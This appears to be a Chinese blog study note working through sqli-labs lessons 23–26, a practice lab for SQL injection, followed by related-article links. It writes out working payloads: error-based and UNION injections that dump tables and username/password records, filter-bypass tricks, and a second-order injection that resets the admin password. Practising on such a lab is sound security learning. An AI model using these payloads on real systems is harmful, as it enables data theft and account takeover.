DAY 4

sqli-labs lesson 23

  • 与lesson 1一样,只不过屏蔽了#和–注释符。
  • 报错型注入:
    • 爆库:id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(database()),0x7e)),'3
    • 爆表:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)),'3
    • 爆字段:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)),'3
    • 爆记录:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select concat_ws(’,’,username,password) from security.users limit n,1),0x7e)),'3
  • 联合查询
    • 爆库:?id=99’ UNION SELECT 1,database(),'3
    • 爆表:?id=99’ UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
    • 爆字段:?id=99’ UNION SELECT 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘users’),'3
    • 爆记录:?id=99’ UNION SELECT 1,(SELECT group_concat(concat_ws(’;’,username,password)) from security.users ),'3

sqli-labs lesson 24

  • 预备知识:什么是二次注入

    • 简单的说,就是在第一次注入时,注入的SQL语句被转义了,从而直接存储到了数据库中,因此,在第二次注入时,直接调用了原始内容进行操作,从而导致注入成功。
  • 注册admin’;#账号



  • 从修改密码的源代码可以看到这一句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
  • 登陆admin’;#
  • 这时,我们修改密码,形成的SQL语句将是:
UPDATE users SET PASSWORD='$pass' where username='admin';#' and password='$curr_pass'

显然,我们把admin用户的密码给改了!

  • 尝试用新密码登陆admin账户:



    成功了!

sqli-labs lesson 25

  • 这里过滤了or和and,可以用||和&&(&是URL参数分隔符,需要编码使用)代替,但是也会有问题,单词中的or也被过滤了,查看源代码,发现只是把or和and进行了一次过滤,并且还是替换成了空字符,所以也很好办,比如information,只要写成infoorrmation就可以了。

sqli-labs lesson 25a

  • 与上一题一样,只是参数是数值型并且没有错误显示了,无法使用报错型注入而已。

sqli-labs lesson 26

  • 过滤加强了!
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
  • 最麻烦的就是空格的过滤了,如果服务器是Linux的,可以使用%a0特殊字符代替,否则,可以使用括号来绕过
  • 直接报错型注入
  • 爆库:?id=99’||extractvalue(1,concat(0x7e,(database()),0x7e))||'3
  • 爆表:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),0x7e))||'1
  • 爆字段:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’%26%26table_schema=‘security’)),0x7e))||'1
  • 爆记录:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(";",username,passwoorrd)))from(security.users)),0x7e))||'1
  • 由于报错型注入返回的长度有限制,而limit的参数无法用括号包围,可以使用where限制语句直接找出admin的记录,也可以使用mid函数来截取。

sqli-labs学习笔记 DAY4的更多相关文章

  1. OpenCV图像处理学习笔记-Day4(完结)

    OpenCV图像处理学习笔记-Day4(完结) 第41课:使用OpenCV统计直方图 第42课:绘制OpenCV统计直方图 pass 第43课:使用掩膜的直方图 第44课:掩膜原理及演示 第45课:直 ...

  2. HTML学习笔记Day4

    一.浮动属性 1.首先要知道,div是块级元素,在页面中独占一行,自上而下排列,也就是传说中的流: 无论多么复杂的布局,其基本出发点均是:“如何在一行显示多个div元素”: 显然标准流已经无法满足需求 ...

  3. Python学习笔记 - day4 - 流程控制

    Python流程控制 Python中的流程控制主要包含两部分:条件判断和循环. Python的缩进和语法 为什么要在这里说缩进和语法,是因为将要学习的条件判断和分支将会涉及到多行代码,在java.c等 ...

  4. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  5. Python学习笔记——Day4

    字符串操作 string典型的内置方法: count() center() startswith() find() format() lower() upper() strip() replace() ...

  6. python学习笔记-Day4(2)

    正则表达式 语法: import re #导入模块名 p = re.compile("^[0-9]") #生成要匹配的正则对象 , ^代表从开头匹配,[0-9]代表匹配0至9的任意 ...

  7. python学习笔记-day4笔记 常用内置函数与装饰器

    1.常用的python函数 abs             求绝对值 all               判断迭代器中所有的数据是否为真或者可迭代数据为空,返回真,否则返回假 any          ...

  8. python 网络爬虫与信息提取 学习笔记day4

    正则表达式简介: 简洁表示一组字符串的特征或者模式,在文本处理中十分常用,主要应用于字符串匹配中 1.  通用的字符串表达框架 2.  简洁表达一组字符串的表达式 3.  针对字符串表达简洁和特征思想 ...

  9. JS学习笔记Day4

    一.什么是函数 将反复使用的功能代码,封装成一独立的模块,这个模块叫做函数 二.封装函数的好处 1.一次封装,多次使用 2.使程序可控 三.函数的分类:内置()函数和自定义函数 四.函数的数据类型(f ...

  10. python学习笔记-Day4(1)

    迭代器 迭代器是访问集合元素的一种方式.迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束.迭代器只能往前不会后退,不过这也没什么,因为人们很少在迭代途中往后退.另外,迭代器的一大优点是 ...

随机推荐

  1. MySQL IFNULL基本用法

    MySQL IFNULL函数是MySQL控制流函数之一,它接受两个参数,如果不是NULL,则返回第一个参数. 否则,IFNULL函数返回第二个参数. 两个参数可以是文字值或表达式. 以下说明了IFNU ...

  2. 20145203盖泽双实验一 Java开发环境的熟悉(Linux + Eclipse)

    实验一 Java开发环境的熟悉(Linux + Eclipse) 实验内容 1.使用JDK编译.运行简单的Java程序: 2.使用Eclipse 编辑.编译.运行.调试Java程序. 实验要求 1.没 ...

  3. CSS 学习路线(一)元素

    元素(element) 类型:替换和非替换元素 替换元素(replaced element): 用来替换元素内容的部分并非由文档内容直接显示. eg:img input 非替换元素(nonreplac ...

  4. where语句中不能直接使用聚合函数

    1.问题描述 select deptno ,avg(sal) from emp where count(*)>3 group by deptno; 在where 句中使用聚合函数count(*) ...

  5. java核心技术-多线程之线程基础

    说起线程,无法免俗首先要弄清楚的三个概念就是:进程.线程.协程.OK,那什么是进程,什么是线程,哪协程又是啥东西.进程:进程可以简单的理解为运行在操作系统中的程序,程序时静态代码,进程是动态运行着的代 ...

  6. slice扩容

    1.当向切片新加入数据,原切片数据加上新数据长度不超过切片容量时,直接加入切片末尾,容量大小不变. 2.当加入新的数据后,数据长度超出原切片的容量大小2倍,则切片的容量会是数据长度(偶数)或数据长度( ...

  7. Scala-字符串操作

    package com.bigdata object StringO { def main(args: Array[String]): Unit = { val s1 = "Hello&qu ...

  8. Verilog_Day2

    Verilog_Day1 在CSDN博客上.http://blog.csdn.net/m0_38073085 第三章: 书上基本知识 每个Verilog程序包括4个主要部分:端口定义,I/O说明,内部 ...

  9. Python ZipFile模块详解(转)

    Python zipfile模块用来做zip格式编码的压缩和解压缩的,zipfile里有两个非常重要的class, 分别是ZipFile和ZipInfo, 在绝大多数的情况下,我们只需要使用这两个cl ...

  10. java rmi 入门实例

    java rmi 入门实例 (2009-06-16 16:07:55) 转载▼ 标签: java rmi 杂谈 分类: java-基础    java rmi即java远程接口调用,实现了2台虚拟机之 ...